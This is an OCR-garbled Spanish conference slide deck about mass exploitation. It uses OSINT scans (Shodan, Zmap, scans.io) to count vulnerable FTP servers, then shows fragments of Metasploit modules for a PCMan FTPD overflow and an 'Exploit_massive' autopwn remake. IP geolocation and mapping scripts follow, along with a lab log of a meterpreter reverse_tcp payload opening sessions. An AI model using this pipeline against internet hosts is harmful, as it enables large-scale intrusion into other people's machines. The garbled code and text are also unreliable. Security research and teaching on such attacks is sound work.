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¢, Qué es conqguistar el mundo?

= En el mundo digital:
@ La p05|b|I|d§d de tener mucha presencia @
- Gran capacidad cOmputo ==
Distribucion de maquinas

= Vector para lograrlo:
Investigando OSINT vy las vulnerabilidades conocidas
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¢, Qué se quiere comprobar?
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¢, Qué cosas estudiaremos?
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. OSINT: Shodan, Zmap, scans.io...
. Busqueda de (Known-Vulnerabilities)

. Procesar informacion publica (contar versiones vulnerables)

. Construccion nodo central (build a gun)
4.1 bang! bang!

. Geolocalizacion de direcciones IP vulnerables
. Construccion mapa de maquinas distribuidas
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Known-vulnerabilities

= ¢;Donde descubrir vulnerabilidades conocidas y exploits?

packet storm
B
Security Focus %) /

=
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Known-vulnerabilities

reguire ‘msf/core’

class Metasploit3 < Mst::Exploit::Remote
Rank = AverageRanking

include Msf::Exploit::Remote::Fip

def initialize(info = {})
super(update_info(info,
"MName’ =
‘Description’ =>
This module
of PCMan's FTPD.

PCMany's FTPD V2.@.7 Username GUEFFIGH'J“"

exploits a 1n the USER command

}

“Author’ =» 'M5] <matt.jones.85[at]gmail.com>",
"License’ =» MSF LICEMNSE,
‘DetaultOptions’ =»
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Contemos...

cut = File.open("PCMan 2.0 10 7 2015.t=t"™, 'w')

cont = 0

File.open(name, 'r') do |f1]

while linea = fl.gets
begin
data hash = JSON.parse(linea)

banner = data hash['grak']l['read']l['data']['response']
if banner =~ /PCMan\'s FTP Server 2\.0/
cont 4=
#puts data hash['host']

#puts banner

puts cont
out.puts (linea)
end

rescue

end
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Contemos (17 Abril 2015)

= PcMan 2.0.7 —_— 95
= ProFTPd 1.3.3c ——= 9546
* WarFTPd 1.65 ——= 4028
= WS FTP5.05 —=> 416
« WS FTP503 —=> 3

< 14093
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Contemos (7 julio 2015)

. PcMan 2.0.7 =——= 420
= ProFTPd 1.3.3c — 35168

= WarFTPd 1.65 —_— 15357

. WS ETP5.05 == 1762

- WS FTP5.03 =———=3 40

NOTA: El éxito tiene porcentaje (tener en cuenta HoneyPots, Direcciones
IP que cambian...) ;Un 50%?
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require 'msf/core’

class Metasploit3 < Msf::Exploit Er en tus manos

#include Msf::Exploit::Remote::HttpClient

def initialize(infeo = {})

super (update info(info,

'Name ' =>» 'Exploit Massive', JIOltS
'Description' => %qg{
XK
by
'Author' ==
[
# Pablo

'Pablo Gonzalez',

1,

'"Payload' =
{
'BadChars' =2 "Y\x0]

},
'"Platform'’ =» 'win
'Arch' => ARCH
'"ExitFunc' =» 'threal
'Target' => 0,
'"Targets' =

N Culgggjp O @pablogonzalezpe 13



¢, Qué tiene este modulo?

Remake de autopwn

il <

Cada linea es ejecutada (target)

@ Fichero hosts

/ Sesiones conseguidas...

,ﬁ ¢Y subiday ejecucion de archivos?
/. Configuraciones

Exploit_massive.rb
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Tienen las maquinas..

....Donde?! @
ipGeo.rb a

1\2',612.51.143
| | 12;5. 1_5'53.’?15.136
ip:J‘46.160.J" 212 g,
21276 35 236

210.027190

country: United States
region. Minnesota

code: US
file: ip_ws_ftp_5_0

\
xoxoZip.r?
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Por todo el mu

generateMap.rb
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Procesamos Info!

["hest™: " 163", "domain":null, "time™:"2015-04-17T16:07
:31-04:00","log™: [{"type":"connect™, "data”:null, "error”:null}, {"

type”:"read"”, "data": {"response":"2Z0 PCMan's FTFP Server 2.0
|':HﬂlhﬂhﬂEeady.Hrﬂn"},"errﬂr":null}]}

IO oy N 35", "domain®:null, "time":"2015-04-17T16: 08
:24-04:00","log": [{"type":"connect”, "data”" tnull, "error"null}, {"
type":"read"”, "data": {"response":"2Z0 PCMan's FTP EServer 2.0
Ready.\r\n"},"error”:null}]}

{"host":"HEEE. 40", "domain":null, "time™:"2015-04-17T16:14:26
—04:00","log":[{"type" :"connect”, "data":rnull, "error":null}, {"typ
e":"read","data": {"response":"220 PCMan's FTP Server 2.0
Ready.\r\n"},"error":null}]}

{"host":"IIIIEE . 23", "domain™:null, "time™:"2015-04-17T716:15:1
1-04:00","log”":[{"type":"connect”,"data"null,"error”:null}, {"ty
pe":"read"”, "data": {"response":"2Z0 PCMan's FTP Server 2.0

Ready.\r\n"},"error”":null}]}
D:salbahacaCON~scans.io>

ftp—hanner
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-168.56.102 |windows/ftp/pecmanFTPd 2
itialduntoRunScript imigrate -f

e _Qﬁ _E" EE.LJE

7

] exploit: windows/Iftp/pcmanFTPd 2 0 7 .
] port: 21 )
mpgvload: windows/meterpreter/reverse tohs

Starting exploit windows/ftp/pcmanFIPd 2 0 7 with pavload windows/meterprete

r/reverse tcp
Thi=s check is: appears, and thi=s result i=s: The target appear=s to be valnera

Sefiding stage (770048 bytesd.to 192.168.56.102

‘EEEirp:Eter gezszion 1 opened @192 .168.56.101:4444 -> 192.168.56.102:1087) at
] TEemdd 19:53:38 40200
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¢, Podremos mejorar el codigo?

= ...Y ver el resto del codigo? (yes!)
= ;Donde? https://github.com/pablogonzalezpe/metasploit-framework

= Colabora con la Comunidad Metasploit y mejora el modulo
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ip: 216.45.230.13

» /’

218 region: -

A\CUEEEF',}D 219 file: ip pcman 10 7 2015.txt yablogonzalezpe 21




PoC: Final

m=f exploit | } > Zessions

Information

\H-¥P3\segofensiva
-> 182 .168.56.102:11]

PRACTICAS-PC\practicas
->» 192.168.56.104:49162
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